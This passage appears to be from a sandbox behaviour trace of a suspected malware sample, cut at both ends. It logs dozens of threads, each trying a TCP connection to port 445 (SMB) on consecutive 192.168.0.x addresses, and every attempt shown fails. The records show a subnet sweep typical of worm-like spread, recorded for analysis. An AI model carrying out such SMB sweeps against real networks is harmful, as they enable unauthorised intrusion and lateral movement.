() returned 0xda4 [0103.950] GetCurrentThreadId () returned 0xda4 Thread: id = 277 os_tid = 0xda8 [0082.702] GetCurrentThreadId () returned 0xda8 [0082.702] GetCurrentThreadId () returned 0xda8 [0082.702] GetCurrentThreadId () returned 0xda8 [0082.702] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1621fdf0 | out: lpWSAData=0x1621fdf0) returned 0 [0082.702] socket (af=2, type=1, protocol=0) returned 0x11dc [0082.704] inet_addr (cp="192.168.0.118") returned 0x7600a8c0 [0082.704] htons (hostshort=0x1bd) returned 0xbd01 [0082.704] connect (s=0x11dc, name=0x1621fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.118"), namelen=16) returned -1 [0103.950] closesocket (s=0x11dc) returned 0 [0103.951] WSACleanup () returned 0 [0103.951] GetCurrentThreadId () returned 0xda8 [0103.951] GetCurrentThreadId () returned 0xda8 [0103.951] GetCurrentThreadId () returned 0xda8 Thread: id = 278 os_tid = 0xdac [0082.801] GetCurrentThreadId () returned 0xdac [0082.801] GetCurrentThreadId () returned 0xdac [0082.801] GetCurrentThreadId () returned 0xdac [0082.801] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1635fdf0 | out: lpWSAData=0x1635fdf0) returned 0 [0082.801] socket (af=2, type=1, protocol=0) returned 0x11f0 [0082.802] inet_addr (cp="192.168.0.127") returned 0x7f00a8c0 [0082.802] htons (hostshort=0x1bd) returned 0xbd01 [0082.802] connect (s=0x11f0, name=0x1635fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.127"), namelen=16) returned -1 [0103.951] closesocket (s=0x11f0) returned 0 [0103.951] WSACleanup () returned 0 [0103.951] GetCurrentThreadId () returned 0xdac [0103.951] GetCurrentThreadId () returned 0xdac [0103.952] GetCurrentThreadId () returned 0xdac Thread: id = 279 os_tid = 0xdb0 [0082.802] GetCurrentThreadId () returned 0xdb0 [0082.803] GetCurrentThreadId () returned 0xdb0 [0082.803] GetCurrentThreadId () returned 0xdb0 [0082.803] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1649fdf0 | out: lpWSAData=0x1649fdf0) returned 0 [0082.803] socket (af=2, type=1, protocol=0) returned 0x11fc [0082.803] inet_addr (cp="192.168.0.119") returned 0x7700a8c0 [0082.803] htons (hostshort=0x1bd) returned 0xbd01 [0082.803] connect (s=0x11fc, name=0x1649fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.119"), namelen=16) returned -1 [0103.952] closesocket (s=0x11fc) returned 0 [0103.952] WSACleanup () returned 0 [0103.952] GetCurrentThreadId () returned 0xdb0 [0103.952] GetCurrentThreadId () returned 0xdb0 [0103.952] GetCurrentThreadId () returned 0xdb0 Thread: id = 280 os_tid = 0xdb4 [0082.889] GetCurrentThreadId () returned 0xdb4 [0082.889] GetCurrentThreadId () returned 0xdb4 [0082.889] GetCurrentThreadId () returned 0xdb4 [0082.889] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x165dfdf0 | out: lpWSAData=0x165dfdf0) returned 0 [0082.889] socket (af=2, type=1, protocol=0) returned 0x1210 [0082.889] inet_addr (cp="192.168.0.128") returned 0x8000a8c0 [0082.889] htons (hostshort=0x1bd) returned 0xbd01 [0082.889] connect (s=0x1210, name=0x165dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.128"), namelen=16) returned -1 [0104.042] closesocket (s=0x1210) returned 0 [0104.042] WSACleanup () returned 0 [0104.042] GetCurrentThreadId () returned 0xdb4 [0104.042] GetCurrentThreadId () returned 0xdb4 [0104.042] GetCurrentThreadId () returned 0xdb4 Thread: id = 281 os_tid = 0xdb8 [0082.890] GetCurrentThreadId () returned 0xdb8 [0082.890] GetCurrentThreadId () returned 0xdb8 [0082.890] GetCurrentThreadId () returned 0xdb8 [0082.890] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1671fdf0 | out: lpWSAData=0x1671fdf0) returned 0 [0082.890] socket (af=2, type=1, protocol=0) returned 0x121c [0082.890] inet_addr (cp="192.168.0.120") returned 0x7800a8c0 [0082.890] htons (hostshort=0x1bd) returned 0xbd01 [0082.890] connect (s=0x121c, name=0x1671fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.120"), namelen=16) returned -1 [0104.043] closesocket (s=0x121c) returned 0 [0104.043] WSACleanup () returned 0 [0104.043] GetCurrentThreadId () returned 0xdb8 [0104.043] GetCurrentThreadId () returned 0xdb8 [0104.043] GetCurrentThreadId () returned 0xdb8 Thread: id = 282 os_tid = 0xdbc [0082.982] GetCurrentThreadId () returned 0xdbc [0082.982] GetCurrentThreadId () returned 0xdbc [0082.982] GetCurrentThreadId () returned 0xdbc [0082.982] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1685fdf0 | out: lpWSAData=0x1685fdf0) returned 0 [0082.982] socket (af=2, type=1, protocol=0) returned 0x1230 [0082.982] inet_addr (cp="192.168.0.129") returned 0x8100a8c0 [0082.982] htons (hostshort=0x1bd) returned 0xbd01 [0082.982] connect (s=0x1230, name=0x1685fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.129"), namelen=16) returned -1 [0104.151] closesocket (s=0x1230) returned 0 [0104.151] WSACleanup () returned 0 [0104.151] GetCurrentThreadId () returned 0xdbc [0104.152] GetCurrentThreadId () returned 0xdbc [0104.152] GetCurrentThreadId () returned 0xdbc Thread: id = 283 os_tid = 0xdc0 [0082.983] GetCurrentThreadId () returned 0xdc0 [0082.983] GetCurrentThreadId () returned 0xdc0 [0082.983] GetCurrentThreadId () returned 0xdc0 [0082.983] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1699fdf0 | out: lpWSAData=0x1699fdf0) returned 0 [0082.983] socket (af=2, type=1, protocol=0) returned 0x123c [0082.983] inet_addr (cp="192.168.0.121") returned 0x7900a8c0 [0082.983] htons (hostshort=0x1bd) returned 0xbd01 [0082.983] connect (s=0x123c, name=0x1699fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.121"), namelen=16) returned -1 [0104.152] closesocket (s=0x123c) returned 0 [0104.152] WSACleanup () returned 0 [0104.152] GetCurrentThreadId () returned 0xdc0 [0104.152] GetCurrentThreadId () returned 0xdc0 [0104.152] GetCurrentThreadId () returned 0xdc0 Thread: id = 284 os_tid = 0xdc4 [0083.075] GetCurrentThreadId () returned 0xdc4 [0083.075] GetCurrentThreadId () returned 0xdc4 [0083.075] GetCurrentThreadId () returned 0xdc4 [0083.075] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x16adfdf0 | out: lpWSAData=0x16adfdf0) returned 0 [0083.075] socket (af=2, type=1, protocol=0) returned 0x1250 [0083.075] inet_addr (cp="192.168.0.130") returned 0x8200a8c0 [0083.075] htons (hostshort=0x1bd) returned 0xbd01 [0083.075] connect (s=0x1250, name=0x16adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.130"), namelen=16) returned -1 [0104.291] closesocket (s=0x1250) returned 0 [0104.291] WSACleanup () returned 0 [0104.292] GetCurrentThreadId () returned 0xdc4 [0104.292] GetCurrentThreadId () returned 0xdc4 [0104.292] GetCurrentThreadId () returned 0xdc4 Thread: id = 285 os_tid = 0xdc8 [0083.076] GetCurrentThreadId () returned 0xdc8 [0083.076] GetCurrentThreadId () returned 0xdc8 [0083.076] GetCurrentThreadId () returned 0xdc8 [0083.076] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x16c1fdf0 | out: lpWSAData=0x16c1fdf0) returned 0 [0083.076] socket (af=2, type=1, protocol=0) returned 0x125c [0083.076] inet_addr (cp="192.168.0.122") returned 0x7a00a8c0 [0083.076] htons (hostshort=0x1bd) returned 0xbd01 [0083.076] connect (s=0x125c, name=0x16c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.122"), namelen=16) returned -1 [0104.292] closesocket (s=0x125c) returned 0 [0104.292] WSACleanup () returned 0 [0104.292] GetCurrentThreadId () returned 0xdc8 [0104.292] GetCurrentThreadId () returned 0xdc8 [0104.293] GetCurrentThreadId () returned 0xdc8 Thread: id = 286 os_tid = 0xdcc [0083.170] GetCurrentThreadId () returned 0xdcc [0083.170] GetCurrentThreadId () returned 0xdcc [0083.170] GetCurrentThreadId () returned 0xdcc [0083.170] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x16d5fdf0 | out: lpWSAData=0x16d5fdf0) returned 0 [0083.170] socket (af=2, type=1, protocol=0) returned 0x1270 [0083.170] inet_addr (cp="192.168.0.131") returned 0x8300a8c0 [0083.170] htons (hostshort=0x1bd) returned 0xbd01 [0083.170] connect (s=0x1270, name=0x16d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.131"), namelen=16) returned -1 [0104.354] closesocket (s=0x1270) returned 0 [0104.354] WSACleanup () returned 0 [0104.354] GetCurrentThreadId () returned 0xdcc [0104.354] GetCurrentThreadId () returned 0xdcc [0104.354] GetCurrentThreadId () returned 0xdcc Thread: id = 287 os_tid = 0xdd0 [0083.171] GetCurrentThreadId () returned 0xdd0 [0083.171] GetCurrentThreadId () returned 0xdd0 [0083.171] GetCurrentThreadId () returned 0xdd0 [0083.171] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x16e9fdf0 | out: lpWSAData=0x16e9fdf0) returned 0 [0083.171] socket (af=2, type=1, protocol=0) returned 0x127c [0083.172] inet_addr (cp="192.168.0.123") returned 0x7b00a8c0 [0083.172] htons (hostshort=0x1bd) returned 0xbd01 [0083.172] connect (s=0x127c, name=0x16e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.123"), namelen=16) returned -1 [0104.355] closesocket (s=0x127c) returned 0 [0104.355] WSACleanup () returned 0 [0104.355] GetCurrentThreadId () returned 0xdd0 [0104.355] GetCurrentThreadId () returned 0xdd0 [0104.355] GetCurrentThreadId () returned 0xdd0 Thread: id = 288 os_tid = 0xdd4 [0083.263] GetCurrentThreadId () returned 0xdd4 [0083.263] GetCurrentThreadId () returned 0xdd4 [0083.263] GetCurrentThreadId () returned 0xdd4 [0083.264] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x16fdfdf0 | out: lpWSAData=0x16fdfdf0) returned 0 [0083.264] socket (af=2, type=1, protocol=0) returned 0x1290 [0083.264] inet_addr (cp="192.168.0.132") returned 0x8400a8c0 [0083.264] htons (hostshort=0x1bd) returned 0xbd01 [0083.264] connect (s=0x1290, name=0x16fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.132"), namelen=16) returned -1 [0104.630] closesocket (s=0x1290) returned 0 [0104.630] WSACleanup () returned 0 [0104.631] GetCurrentThreadId () returned 0xdd4 [0104.631] GetCurrentThreadId () returned 0xdd4 [0104.631] GetCurrentThreadId () returned 0xdd4 Thread: id = 289 os_tid = 0xdd8 [0083.265] GetCurrentThreadId () returned 0xdd8 [0083.265] GetCurrentThreadId () returned 0xdd8 [0083.265] GetCurrentThreadId () returned 0xdd8 [0083.265] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1711fdf0 | out: lpWSAData=0x1711fdf0) returned 0 [0083.265] socket (af=2, type=1, protocol=0) returned 0x129c [0083.267] inet_addr (cp="192.168.0.124") returned 0x7c00a8c0 [0083.267] htons (hostshort=0x1bd) returned 0xbd01 [0083.267] connect (s=0x129c, name=0x1711fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.124"), namelen=16) returned -1 [0104.631] closesocket (s=0x129c) returned 0 [0104.631] WSACleanup () returned 0 [0104.632] GetCurrentThreadId () returned 0xdd8 [0104.632] GetCurrentThreadId () returned 0xdd8 [0104.632] GetCurrentThreadId () returned 0xdd8 Thread: id = 290 os_tid = 0xddc [0083.357] GetCurrentThreadId () returned 0xddc [0083.357] GetCurrentThreadId () returned 0xddc [0083.357] GetCurrentThreadId () returned 0xddc [0083.357] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1725fdf0 | out: lpWSAData=0x1725fdf0) returned 0 [0083.357] socket (af=2, type=1, protocol=0) returned 0x12b0 [0083.359] inet_addr (cp="192.168.0.133") returned 0x8500a8c0 [0083.359] htons (hostshort=0x1bd) returned 0xbd01 [0083.359] connect (s=0x12b0, name=0x1725fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.133"), namelen=16) returned -1 [0104.632] closesocket (s=0x12b0) returned 0 [0104.632] WSACleanup () returned 0 [0104.632] GetCurrentThreadId () returned 0xddc [0104.632] GetCurrentThreadId () returned 0xddc [0104.632] GetCurrentThreadId () returned 0xddc Thread: id = 291 os_tid = 0xde0 [0083.360] GetCurrentThreadId () returned 0xde0 [0083.360] GetCurrentThreadId () returned 0xde0 [0083.360] GetCurrentThreadId () returned 0xde0 [0083.360] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1739fdf0 | out: lpWSAData=0x1739fdf0) returned 0 [0083.360] socket (af=2, type=1, protocol=0) returned 0x12bc [0083.361] inet_addr (cp="192.168.0.125") returned 0x7d00a8c0 [0083.361] htons (hostshort=0x1bd) returned 0xbd01 [0083.361] connect (s=0x12bc, name=0x1739fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.125"), namelen=16) returned -1 [0104.633] closesocket (s=0x12bc) returned 0 [0104.633] WSACleanup () returned 0 [0104.633] GetCurrentThreadId () returned 0xde0 [0104.633] GetCurrentThreadId () returned 0xde0 [0104.633] GetCurrentThreadId () returned 0xde0 Thread: id = 292 os_tid = 0xde4 [0083.450] GetCurrentThreadId () returned 0xde4 [0083.450] GetCurrentThreadId () returned 0xde4 [0083.450] GetCurrentThreadId () returned 0xde4 [0083.450] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x174dfdf0 | out: lpWSAData=0x174dfdf0) returned 0 [0083.450] socket (af=2, type=1, protocol=0) returned 0x12d0 [0083.450] inet_addr (cp="192.168.0.134") returned 0x8600a8c0 [0083.450] htons (hostshort=0x1bd) returned 0xbd01 [0083.450] connect (s=0x12d0, name=0x174dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.134"), namelen=16) returned -1 [0104.634] closesocket (s=0x12d0) returned 0 [0104.634] WSACleanup () returned 0 [0104.634] GetCurrentThreadId () returned 0xde4 [0104.634] GetCurrentThreadId () returned 0xde4 [0104.634] GetCurrentThreadId () returned 0xde4 Thread: id = 293 os_tid = 0xde8 [0083.451] GetCurrentThreadId () returned 0xde8 [0083.451] GetCurrentThreadId () returned 0xde8 [0083.451] GetCurrentThreadId () returned 0xde8 [0083.451] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1761fdf0 | out: lpWSAData=0x1761fdf0) returned 0 [0083.451] socket (af=2, type=1, protocol=0) returned 0x12dc [0083.451] inet_addr (cp="192.168.0.126") returned 0x7e00a8c0 [0083.451] htons (hostshort=0x1bd) returned 0xbd01 [0083.451] connect (s=0x12dc, name=0x1761fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.126"), namelen=16) returned -1 [0104.635] closesocket (s=0x12dc) returned 0 [0104.635] WSACleanup () returned 0 [0104.635] GetCurrentThreadId () returned 0xde8 [0104.635] GetCurrentThreadId () returned 0xde8 [0104.635] GetCurrentThreadId () returned 0xde8 Thread: id = 294 os_tid = 0xdec [0083.550] GetCurrentThreadId () returned 0xdec [0083.550] GetCurrentThreadId () returned 0xdec [0083.550] GetCurrentThreadId () returned 0xdec [0083.550] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1775fdf0 | out: lpWSAData=0x1775fdf0) returned 0 [0083.550] socket (af=2, type=1, protocol=0) returned 0x12f0 [0083.551] inet_addr (cp="192.168.0.135") returned 0x8700a8c0 [0083.551] htons (hostshort=0x1bd) returned 0xbd01 [0083.551] connect (s=0x12f0, name=0x1775fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.135"), namelen=16) returned -1 [0104.768] closesocket (s=0x12f0) returned 0 [0104.769] WSACleanup () returned 0 [0104.769] GetCurrentThreadId () returned 0xdec [0104.769] GetCurrentThreadId () returned 0xdec [0104.769] GetCurrentThreadId () returned 0xdec Thread: id = 295 os_tid = 0xdf0 [0083.553] GetCurrentThreadId () returned 0xdf0 [0083.553] GetCurrentThreadId () returned 0xdf0 [0083.553] GetCurrentThreadId () returned 0xdf0 [0083.553] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1789fdf0 | out: lpWSAData=0x1789fdf0) returned 0 [0083.553] socket (af=2, type=1, protocol=0) returned 0x12fc [0083.555] inet_addr (cp="192.168.0.127") returned 0x7f00a8c0 [0083.555] htons (hostshort=0x1bd) returned 0xbd01 [0083.555] connect (s=0x12fc, name=0x1789fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.127"), namelen=16) returned -1 [0104.770] closesocket (s=0x12fc) returned 0 [0104.770] WSACleanup () returned 0 [0104.770] GetCurrentThreadId () returned 0xdf0 [0104.770] GetCurrentThreadId () returned 0xdf0 [0104.770] GetCurrentThreadId () returned 0xdf0 Thread: id = 296 os_tid = 0xdf4 [0083.636] GetCurrentThreadId () returned 0xdf4 [0083.636] GetCurrentThreadId () returned 0xdf4 [0083.636] GetCurrentThreadId () returned 0xdf4 [0083.637] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x179dfdf0 | out: lpWSAData=0x179dfdf0) returned 0 [0083.637] socket (af=2, type=1, protocol=0) returned 0x1310 [0083.637] inet_addr (cp="192.168.0.136") returned 0x8800a8c0 [0083.637] htons (hostshort=0x1bd) returned 0xbd01 [0083.637] connect (s=0x1310, name=0x179dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.136"), namelen=16) returned -1 [0104.770] closesocket (s=0x1310) returned 0 [0104.771] WSACleanup () returned 0 [0104.771] GetCurrentThreadId () returned 0xdf4 [0104.771] GetCurrentThreadId () returned 0xdf4 [0104.771] GetCurrentThreadId () returned 0xdf4 Thread: id = 297 os_tid = 0xdf8 [0083.638] GetCurrentThreadId () returned 0xdf8 [0083.638] GetCurrentThreadId () returned 0xdf8 [0083.638] GetCurrentThreadId () returned 0xdf8 [0083.638] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x17b1fdf0 | out: lpWSAData=0x17b1fdf0) returned 0 [0083.638] socket (af=2, type=1, protocol=0) returned 0x131c [0083.638] inet_addr (cp="192.168.0.128") returned 0x8000a8c0 [0083.638] htons (hostshort=0x1bd) returned 0xbd01 [0083.638] connect (s=0x131c, name=0x17b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.128"), namelen=16) returned -1 [0104.771] closesocket (s=0x131c) returned 0 [0104.771] WSACleanup () returned 0 [0104.771] GetCurrentThreadId () returned 0xdf8 [0104.772] GetCurrentThreadId () returned 0xdf8 [0104.772] GetCurrentThreadId () returned 0xdf8 Thread: id = 298 os_tid = 0xdfc [0083.731] GetCurrentThreadId () returned 0xdfc [0083.731] GetCurrentThreadId () returned 0xdfc [0083.731] GetCurrentThreadId () returned 0xdfc [0083.731] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x17c5fdf0 | out: lpWSAData=0x17c5fdf0) returned 0 [0083.731] socket (af=2, type=1, protocol=0) returned 0x1330 [0083.731] inet_addr (cp="192.168.0.137") returned 0x8900a8c0 [0083.731] htons (hostshort=0x1bd) returned 0xbd01 [0083.731] connect (s=0x1330, name=0x17c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.137"), namelen=16) returned -1 [0104.868] closesocket (s=0x1330) returned 0 [0104.868] WSACleanup () returned 0 [0104.868] GetCurrentThreadId () returned 0xdfc [0104.868] GetCurrentThreadId () returned 0xdfc [0104.869] GetCurrentThreadId () returned 0xdfc Thread: id = 299 os_tid = 0xe00 [0083.733] GetCurrentThreadId () returned 0xe00 [0083.733] GetCurrentThreadId () returned 0xe00 [0083.733] GetCurrentThreadId () returned 0xe00 [0083.733] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x17d9fdf0 | out: lpWSAData=0x17d9fdf0) returned 0 [0083.733] socket (af=2, type=1, protocol=0) returned 0x133c [0083.733] inet_addr (cp="192.168.0.129") returned 0x8100a8c0 [0083.733] htons (hostshort=0x1bd) returned 0xbd01 [0083.733] connect (s=0x133c, name=0x17d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.129"), namelen=16) returned -1 [0104.869] closesocket (s=0x133c) returned 0 [0104.869] WSACleanup () returned 0 [0104.869] GetCurrentThreadId () returned 0xe00 [0104.869] GetCurrentThreadId () returned 0xe00 [0104.869] GetCurrentThreadId () returned 0xe00 Thread: id = 300 os_tid = 0xe04 [0083.848] GetCurrentThreadId () returned 0xe04 [0083.848] GetCurrentThreadId () returned 0xe04 [0083.848] GetCurrentThreadId () returned 0xe04 [0083.848] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x17edfdf0 | out: lpWSAData=0x17edfdf0) returned 0 [0083.848] socket (af=2, type=1, protocol=0) returned 0x1350 [0083.848] inet_addr (cp="192.168.0.138") returned 0x8a00a8c0 [0083.848] htons (hostshort=0x1bd) returned 0xbd01 [0083.848] connect (s=0x1350, name=0x17edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.138"), namelen=16) returned -1 [0104.962] closesocket (s=0x1350) returned 0 [0104.962] WSACleanup () returned 0 [0104.962] GetCurrentThreadId () returned 0xe04 [0104.962] GetCurrentThreadId () returned 0xe04 [0104.962] GetCurrentThreadId () returned 0xe04 Thread: id = 301 os_tid = 0xe08 [0083.849] GetCurrentThreadId () returned 0xe08 [0083.849] GetCurrentThreadId () returned 0xe08 [0083.849] GetCurrentThreadId () returned 0xe08 [0083.849] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1801fdf0 | out: lpWSAData=0x1801fdf0) returned 0 [0083.849] socket (af=2, type=1, protocol=0) returned 0x135c [0083.849] inet_addr (cp="192.168.0.130") returned 0x8200a8c0 [0083.849] htons (hostshort=0x1bd) returned 0xbd01 [0083.849] connect (s=0x135c, name=0x1801fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.130"), namelen=16) returned -1 [0104.963] closesocket (s=0x135c) returned 0 [0104.963] WSACleanup () returned 0 [0104.963] GetCurrentThreadId () returned 0xe08 [0104.963] GetCurrentThreadId () returned 0xe08 [0104.963] GetCurrentThreadId () returned 0xe08 Thread: id = 302 os_tid = 0xe0c [0083.933] GetCurrentThreadId () returned 0xe0c [0083.933] GetCurrentThreadId () returned 0xe0c [0083.933] GetCurrentThreadId () returned 0xe0c [0083.933] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1815fdf0 | out: lpWSAData=0x1815fdf0) returned 0 [0083.933] socket (af=2, type=1, protocol=0) returned 0x1370 [0083.933] inet_addr (cp="192.168.0.139") returned 0x8b00a8c0 [0083.933] htons (hostshort=0x1bd) returned 0xbd01 [0083.933] connect (s=0x1370, name=0x1815fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.139"), namelen=16) returned -1 [0105.259] closesocket (s=0x1370) returned 0 [0105.260] WSACleanup () returned 0 [0105.260] GetCurrentThreadId () returned 0xe0c [0105.260] GetCurrentThreadId () returned 0xe0c [0105.260] GetCurrentThreadId () returned 0xe0c Thread: id = 303 os_tid = 0xe10 [0083.934] GetCurrentThreadId () returned 0xe10 [0083.934] GetCurrentThreadId () returned 0xe10 [0083.934] GetCurrentThreadId () returned 0xe10 [0083.934] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1829fdf0 | out: lpWSAData=0x1829fdf0) returned 0 [0083.934] socket (af=2, type=1, protocol=0) returned 0x137c [0083.934] inet_addr (cp="192.168.0.131") returned 0x8300a8c0 [0083.935] htons (hostshort=0x1bd) returned 0xbd01 [0083.935] connect (s=0x137c, name=0x1829fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.131"), namelen=16) returned -1 [0105.260] closesocket (s=0x137c) returned 0 [0105.260] WSACleanup () returned 0 [0105.260] GetCurrentThreadId () returned 0xe10 [0105.261] GetCurrentThreadId () returned 0xe10 [0105.261] GetCurrentThreadId () returned 0xe10 Thread: id = 304 os_tid = 0xe14 [0084.028] GetCurrentThreadId () returned 0xe14 [0084.028] GetCurrentThreadId () returned 0xe14 [0084.028] GetCurrentThreadId () returned 0xe14 [0084.028] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x183dfdf0 | out: lpWSAData=0x183dfdf0) returned 0 [0084.028] socket (af=2, type=1, protocol=0) returned 0x1390 [0084.028] inet_addr (cp="192.168.0.140") returned 0x8c00a8c0 [0084.028] htons (hostshort=0x1bd) returned 0xbd01 [0084.028] connect (s=0x1390, name=0x183dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.140"), namelen=16) returned -1 [0105.368] closesocket (s=0x1390) returned 0 [0105.368] WSACleanup () returned 0 [0105.368] GetCurrentThreadId () returned 0xe14 [0105.368] GetCurrentThreadId () returned 0xe14 [0105.368] GetCurrentThreadId () returned 0xe14 Thread: id = 305 os_tid = 0xe18 [0084.029] GetCurrentThreadId () returned 0xe18 [0084.029] GetCurrentThreadId () returned 0xe18 [0084.029] GetCurrentThreadId () returned 0xe18 [0084.029] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1851fdf0 | out: lpWSAData=0x1851fdf0) returned 0 [0084.029] socket (af=2, type=1, protocol=0) returned 0x139c [0084.032] inet_addr (cp="192.168.0.132") returned 0x8400a8c0 [0084.032] htons (hostshort=0x1bd) returned 0xbd01 [0084.032] connect (s=0x139c, name=0x1851fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.132"), namelen=16) returned -1 [0105.369] closesocket (s=0x139c) returned 0 [0105.369] WSACleanup () returned 0 [0105.369] GetCurrentThreadId () returned 0xe18 [0105.369] GetCurrentThreadId () returned 0xe18 [0105.369] GetCurrentThreadId () returned 0xe18 Thread: id = 306 os_tid = 0xe1c [0084.137] GetCurrentThreadId () returned 0xe1c [0084.137] GetCurrentThreadId () returned 0xe1c [0084.137] GetCurrentThreadId () returned 0xe1c [0084.137] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1865fdf0 | out: lpWSAData=0x1865fdf0) returned 0 [0084.137] socket (af=2, type=1, protocol=0) returned 0x13b0 [0084.137] inet_addr (cp="192.168.0.141") returned 0x8d00a8c0 [0084.137] htons (hostshort=0x1bd) returned 0xbd01 [0084.138] connect (s=0x13b0, name=0x1865fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.141"), namelen=16) returned -1 [0105.370] closesocket (s=0x13b0) returned 0 [0105.370] WSACleanup () returned 0 [0105.370] GetCurrentThreadId () returned 0xe1c [0105.370] GetCurrentThreadId () returned 0xe1c [0105.370] GetCurrentThreadId () returned 0xe1c Thread: id = 307 os_tid = 0xe20 [0084.139] GetCurrentThreadId () returned 0xe20 [0084.139] GetCurrentThreadId () returned 0xe20 [0084.139] GetCurrentThreadId () returned 0xe20 [0084.139] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1879fdf0 | out: lpWSAData=0x1879fdf0) returned 0 [0084.139] socket (af=2, type=1, protocol=0) returned 0x13bc [0084.139] inet_addr (cp="192.168.0.133") returned 0x8500a8c0 [0084.139] htons (hostshort=0x1bd) returned 0xbd01 [0084.139] connect (s=0x13bc, name=0x1879fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.133"), namelen=16) returned -1 [0105.371] closesocket (s=0x13bc) returned 0 [0105.371] WSACleanup () returned 0 [0105.371] GetCurrentThreadId () returned 0xe20 [0105.371] GetCurrentThreadId () returned 0xe20 [0105.371] GetCurrentThreadId () returned 0xe20 Thread: id = 308 os_tid = 0xe24 [0084.229] GetCurrentThreadId () returned 0xe24 [0084.229] GetCurrentThreadId () returned 0xe24 [0084.229] GetCurrentThreadId () returned 0xe24 [0084.229] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x188dfdf0 | out: lpWSAData=0x188dfdf0) returned 0 [0084.229] socket (af=2, type=1, protocol=0) returned 0x13d0 [0084.230] inet_addr (cp="192.168.0.142") returned 0x8e00a8c0 [0084.230] htons (hostshort=0x1bd) returned 0xbd01 [0084.230] connect (s=0x13d0, name=0x188dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.142"), namelen=16) returned -1 [0105.372] closesocket (s=0x13d0) returned 0 [0105.372] WSACleanup () returned 0 [0105.372] GetCurrentThreadId () returned 0xe24 [0105.372] GetCurrentThreadId () returned 0xe24 [0105.372] GetCurrentThreadId () returned 0xe24 Thread: id = 309 os_tid = 0xe28 [0084.231] GetCurrentThreadId () returned 0xe28 [0084.231] GetCurrentThreadId () returned 0xe28 [0084.231] GetCurrentThreadId () returned 0xe28 [0084.231] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18a1fdf0 | out: lpWSAData=0x18a1fdf0) returned 0 [0084.231] socket (af=2, type=1, protocol=0) returned 0x13dc [0084.231] inet_addr (cp="192.168.0.134") returned 0x8600a8c0 [0084.231] htons (hostshort=0x1bd) returned 0xbd01 [0084.231] connect (s=0x13dc, name=0x18a1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.134"), namelen=16) returned -1 [0105.372] closesocket (s=0x13dc) returned 0 [0105.373] WSACleanup () returned 0 [0105.373] GetCurrentThreadId () returned 0xe28 [0105.373] GetCurrentThreadId () returned 0xe28 [0105.373] GetCurrentThreadId () returned 0xe28 Thread: id = 310 os_tid = 0xe2c [0084.323] GetCurrentThreadId () returned 0xe2c [0084.323] GetCurrentThreadId () returned 0xe2c [0084.323] GetCurrentThreadId () returned 0xe2c [0084.323] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18b5fdf0 | out: lpWSAData=0x18b5fdf0) returned 0 [0084.323] socket (af=2, type=1, protocol=0) returned 